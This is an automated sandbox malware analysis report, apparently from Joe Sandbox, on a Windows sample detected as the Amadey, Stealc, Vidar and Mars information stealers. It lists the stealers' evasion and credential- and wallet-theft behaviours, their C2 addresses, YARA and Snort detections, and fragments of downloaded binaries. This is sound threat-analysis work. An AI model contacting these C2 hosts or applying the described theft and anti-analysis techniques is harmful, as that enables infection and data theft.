Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1466121
MD5:	8369d155da8c3f7bcea8490d36f2f114
SHA1:	3d7fc15294497e6af579bdf8343eae47a05ae2c2
SHA256:	2ea252fc14bd9190e6a6d57b8f2ecb7870a4eecf01acfbba9d0f698838f03fe8
Tags:	exe
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7508 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 8369D155DA8C3F7BCEA8490D36F2F114)

cmd.exe (PID: 7708 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

GCGCBAECFC.exe (PID: 7780 cmdline: "C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe" MD5: 6736102416370F08E14B120D5410FA2C)

explorti.exe (PID: 8172 cmdline: "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: 6736102416370F08E14B120D5410FA2C)

19a0b0f0ae.exe (PID: 7640 cmdline: "C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe" MD5: 8369D155DA8C3F7BCEA8490D36F2F114)

cmd.exe (PID: 7728 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KJEHDHIEGI.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorti.exe (PID: 7208 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 6736102416370F08E14B120D5410FA2C)

explorti.exe (PID: 7436 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 6736102416370F08E14B120D5410FA2C)

explorti.exe (PID: 344 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 6736102416370F08E14B120D5410FA2C)

explorti.exe (PID: 1904 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 6736102416370F08E14B120D5410FA2C)

explorti.exe (PID: 7792 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 6736102416370F08E14B120D5410FA2C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "85.28.47.4/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://77.91.77.82/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.1942402729.0000000000071000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000002.3530405347.0000000000071000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.1961628481.00000000008D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.1961628481.00000000008D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000F.00000003.2888618233.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2928820041.0000000000071000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.1901602961.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.1962641348.000000000187E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.1853411252.0000000004870000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.4113285093.0000000000071000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.1891834270.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.3489729750.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.4093876285.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2283607649.0000000004860000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1833532825.0000000001B14000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.2323806532.0000000000071000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.1894930528.0000000000791000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1829921422.00000000006C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1829921422.00000000006C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Process Memory Space: file.exe PID: 7508	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7508	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7508	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 19a0b0f0ae.exe PID: 7640	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author
13.2.explorti.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.GCGCBAECFC.exe.790000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.explorti.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.explorti.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.explorti.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.19a0b0f0ae.exe.8d0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.19a0b0f0ae.exe.8d0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.file.exe.6c0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.6c0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
9.2.explorti.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 5 entries

Snort Signatures

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.4

Timestamp:	07/02/24-15:25:59.662483
SID:	2051831
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 77.91.77.82 - Destination IP: 192.168.2.4

Timestamp:	07/02/24-15:26:25.614319
SID:	2856122
Source Port:	80
Destination Port:	49743
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.4 - Destination IP: 77.91.77.82

Timestamp:	07/02/24-15:26:24.717429
SID:	2856147
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.4

Timestamp:	07/02/24-15:25:59.300922
SID:	2044244
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 85.28.47.4

Timestamp:	07/02/24-15:25:58.625923
SID:	2044243
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.4

Timestamp:	07/02/24-15:25:59.479785
SID:	2051828
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.4

Timestamp:	07/02/24-15:25:59.481127
SID:	2044246
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Code function: 0_2_6C606C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C606C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1863599412.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1863599412.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.4:49730 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.4:49730 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.4:80 -> 192.168.2.4:49730
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.4:49730 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.4:80 -> 192.168.2.4:49730
Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.4:49743 -> 77.91.77.82:80
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 77.91.77.82:80 -> 192.168.2.4:49743

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 77.91.77.82
Source: Malware configuration extractor	IPs: 77.91.77.82

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 13:26:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 13:26:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 13:26:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 